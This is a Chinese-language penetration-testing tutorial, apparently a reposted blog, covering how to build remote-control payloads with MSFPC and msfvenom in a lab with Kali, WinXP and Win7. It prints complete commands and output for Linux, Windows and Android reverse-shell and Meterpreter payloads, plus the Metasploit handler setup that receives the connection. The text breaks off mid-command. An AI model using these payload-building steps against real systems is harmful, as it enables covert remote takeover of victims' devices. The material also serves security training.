赞
踩
攻击机:Linux kali 5.16.0-kali (IP:192.168.68.248)
靶机:WinXP (IP:192.168.68.159) Win7 (IP:192.168.68.206)
远程控制软件中的被控端和主控端必须是成对使用的。被控端运行在目标设备上,其功能挺起来和木马很像,实际上是如此,被控端(可以是一段代码,也可以是一个能直接执行的程序)。在Kali Linux 中提供了一个名为MSFPC(全称:MSFvenom Payload Creator)的工具,如下图所示:
MSFPC也是一个靠命令来完成任务的工具,但是要比MSFvenom的语法简单。启动后提供了各种类型的被控端,如下图红框所示:
构造一个可以在Linux操作系统下运行的被控端,这里只向MSFPC传递一个参数,命令如下:
┌──(kali㉿kali)-[~]
└─$ msfpc linux
接下来,我们只向MSFPC提供被控端运行的操作系统,要将该操作系统作为一个反向的木马被控端还需要添加主控端端IP地址,默认情况下,MSFPC会要求你进行选择, 如下所示:
┌──(kali㉿kali)-[~]
└─$ msfpc linux
[*] MSFvenom Payload Creator (MSFPC v1.4.5)
[i] Use which interface - IP address?:
[i] 1.) lo - 127.0.0.1
[i] 2.) eth0 - 192.168.68.248
[i] 3.) wan - 122.143.34.227
[?] Select 1-3, interface or IP address:
根据上面的提示,选择2.)eth0选项作为主控端IP地址。运行之后,可以看到被控端生成,如下所示:
[i] Use which interface - IP address?: [i] 1.) lo - 127.0.0.1 [i] 2.) eth0 - 192.168.68.248 [i] 3.) wan - 122.143.34.227 [?] Select 1-3, interface or IP address: 2 # 选择2 # 被控端生成 [i] IP: 192.168.68.248 [i] PORT: 443 [i] TYPE: linux (linux/x86/shell/reverse_tcp) [i] CMD: msfvenom -p linux/x86/shell/reverse_tcp -f elf \ --platform linux -a x86 -e generic/none LHOST=192.168.68.248 LPORT=443 \ > '/home/kali/linux-shell-staged-reverse-tcp-443.elf' [i] linux shell created: '/home/kali/linux-shell-staged-reverse-tcp-443.elf' [i] MSF handler file: '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc' [i] Run: msfconsole -q -r '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc' [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080 [*] Done!
从执行结果可以看到被控端的一些信息,其中CMD后面的内容就是和MSFPC命令效果相同的msfvenom命令,也就是说,在kali终端中直接使用这段命令也可以生成相同的被控端。
有了这个被控端,还应该有一个对应的主控端, 这个可以通过在Metasploit中配置handler来实现。不过MSFC提供了一个非常方便的脚本,执行结果中的"MSF handler file"里面就是这个脚本的内容,如下所示:
[i] MSF handler file: '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc'
在终端执行“Run:”后面的命令:
sudo msfconsole -q -r '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc' [sudo] password for kali: [*] Processing /home/kali/linux-shell-staged-reverse-tcp-443-elf.rc for ERB directives. resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set PAYLOAD linux/x86/shell/reverse_tcp PAYLOAD => linux/x86/shell/reverse_tcp resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set LHOST 192.168.68.248 LHOST => 192.168.68.248 resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set LPORT 443 LPORT => 443 resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set ExitOnSession false ExitOnSession => false resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set EnableStageEncoding true EnableStageEncoding => true resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> run -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Starting persistent handler(s)... [*] Started reverse TCP handler on 192.168.68.248:443 # 建立好的hanlder msf6 exploit(multi/handler) >
一旦被控端在目标系统运行起来,就可以使用handler控制目标系统。
利用相同方法建立Windows操作系统下和Android操作系统下的被控端。首先生成Windows操作系统的被控端,生成命令如下:
┌──(kali㉿kali)-[~] └─$ msfpc windows 192.168.68.248 [*] MSFvenom Payload Creator (MSFPC v1.4.5) [i] IP: 192.168.68.248 [i] PORT: 443 [i] TYPE: windows (windows/meterpreter/reverse_tcp) [i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \ --platform windows -a x86 -e generic/none LHOST=192.168.68.248 LPORT=443 \ > '/home/kali/windows-meterpreter-staged-reverse-tcp-443.exe' [i] windows meterpreter created: '/home/kali/windows-meterpreter-staged-reverse-tcp-443.exe' [i] MSF handler file: '/home/kali/windows-meterpreter-staged-reverse-tcp-443-exe.rc' [i] Run: msfconsole -q -r '/home/kali/windows-meterpreter-staged-reverse-tcp-443-exe.rc' [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080 [*] Done!
默认情况下,被控端与主控端的通信都使用TCP。如果需要加密通信的话,也可以考虑生成HTTPS通信的Android操作系统被控端,生成命令如下:
┌──(kali㉿kali)-[~] └─$ msfpc apk https 192.168.68.248 [*] MSFvenom Payload Creator (MSFPC v1.4.5) [i] IP: 192.168.68.248 [i] PORT: 443 [i] TYPE: android (android/meterpreter/reverse_https) [i] CMD: msfvenom -p android/meterpreter/reverse_https \ LHOST=192.168.68.248 LPORT=443 \ > '/home/kali/android-meterpreter-stageless-reverse-https-443.apk' [i] android meterpreter created: '/home/kali/android-meterpreter-stageless-reverse-https-443.apk' [i] MSF handler file: '/home/kali/android-meterpreter-stageless-reverse-https-443-apk.rc' [i] Run: msfconsole -q -r '/home/kali/android-meterpreter-stageless-reverse-https-443-apk.rc' [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080 [*] Done!
这个命令是新版本的Metasploit将msfpayload(生成攻击载荷)和msfencode(对攻击载荷编码)合成的。以windows为例,命令如下:
# lhost=ip lport=port =两边没有空格
┌──(kali㉿kali)-[~]
└─$ sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.248 lport=5000 -f exe -o /root/payload.exe
[sudo] password for kali:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /root/payload.exe
msfvenom命令生成一个被控端,使用的被控端就是一个用于Windows操作系统的反向远程控制软件,即windows/meterpreter/reverse_tcp,它的参数lhost的值为192.168.68.248(是Kali Linux虚拟机的IP地址)。生成的被控端文件如下图所示:
如果不了解某个攻击载荷的使用方法,可以通过参数–list-options来查看这个攻击载荷需要设置的参数,命令如下:
┌──(kali㉿kali)-[~]
└─$ msfvenom --list-options -p windows/meterpreter/reverse_tcp
结果如下图所示:
红框内的部分就是需要设置的参数。
被控端在靶机上运行,那么就会立刻回连到IP地址为192.168.68.248的攻击机上。但是攻击机端需要启动一个原创控制文件的主控端,打开终端,输入如下命令:
┌──(root声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/340314
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。